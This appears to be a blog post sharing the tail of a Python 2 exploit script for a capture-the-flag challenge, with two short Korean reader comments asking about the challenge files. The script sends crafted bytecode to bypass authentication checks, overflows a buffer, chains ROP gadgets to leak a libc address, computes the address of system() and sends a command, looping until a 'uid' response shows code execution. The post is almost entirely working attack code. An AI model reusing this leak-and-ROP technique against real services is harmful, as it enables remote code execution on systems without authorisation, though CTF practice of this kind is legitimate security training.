  20.         s.connect(('localhost',8080))
  21.  
  22.         time.sleep(0.3)
  23.         print s.recv(10000)
  24.  
  25.         #raw_input('go?')
  26.  
  27.         vmcode = ""
  28.  
  29.         # auth 2
  30.         vmcode += "#\x00\x00\x00\x00"*1024 # index + 4*
  31.         vmcode += ("P\x10"+"$\x08")*8 # get secret
  32.         vmcode += "P\x10"
  33.         vmcode += "9R"
  34.  
  35.         # auth 3
  36.         vmcode += "\x91"
  37.         vmcode += pack('<L',0xdeadbeef)*2
  38.  
  39.         # overflow
  40.         vmcode += "\xef"
  41.  
  42.         vmcode += "A"*0x20
  43.  
  44.         # ROP
  45.         vmcode += pack('<L',send_plt)
  46.         vmcode += pack('<L',ppppr)
  47.         vmcode += pack('<L',4)
  48.         vmcode += pack('<L',fputs_got)
  49.         vmcode += pack('<L',4)
  50.         vmcode += pack('<L',0)
  51.  
  52.         vmcode += pack('<L',recv_plt)
  53.         vmcode += pack('<L',ppppr)
  54.         vmcode += pack('<L',4)
  55.         vmcode += pack('<L',fputs_got)
  56.         vmcode += pack('<L',4)
  57.         vmcode += pack('<L',0)
  58.  
  59.         vmcode += pack('<L',recv_plt)
  60.         vmcode += pack('<L',ppppr)
  61.         vmcode += pack('<L',4)
  62.         vmcode += pack('<L',bss)
  63.         vmcode += pack('<L',len(cmd))
  64.         vmcode += pack('<L',0)
  65.  
  66.         vmcode += pack('<L',fputs_plt)
  67.         vmcode += "AAAA"
  68.         vmcode += pack('<L',bss)
  69.  
  70.         s.send(vmcode + " "*(0x400*6 - len(vmcode)))
  71.  
  72.         try:
  73.                 fputs_addr = unpack('<L',s.recv(4))[0]
  74.         except:
  75.                 continue
  76.         system_addr = fputs_addr - 0x66100 + 0x3f430
  77.         print "System: "+hex(system_addr)
  78.  
  79.         s.send(pack('<L',system_addr))
  80.  
  81.         s.send(cmd)
  82.  
  83.         out = s.recv(65000)
  84.         if "uid" in out:
  85.                 print out
  86.                 break
  87.  
  88.         s.close()


posted by tunz
  • xeros 2014.02.06 18:37

    secuinside 2013 두문제 파일좀 올려주시면 감사하겠습니다ㅎ

  • xeros 2014.02.09 19:48

    어.. 거기에 있었네요.. 맨밑에 잇어서 못알아차린거 같네요.. 감사합니다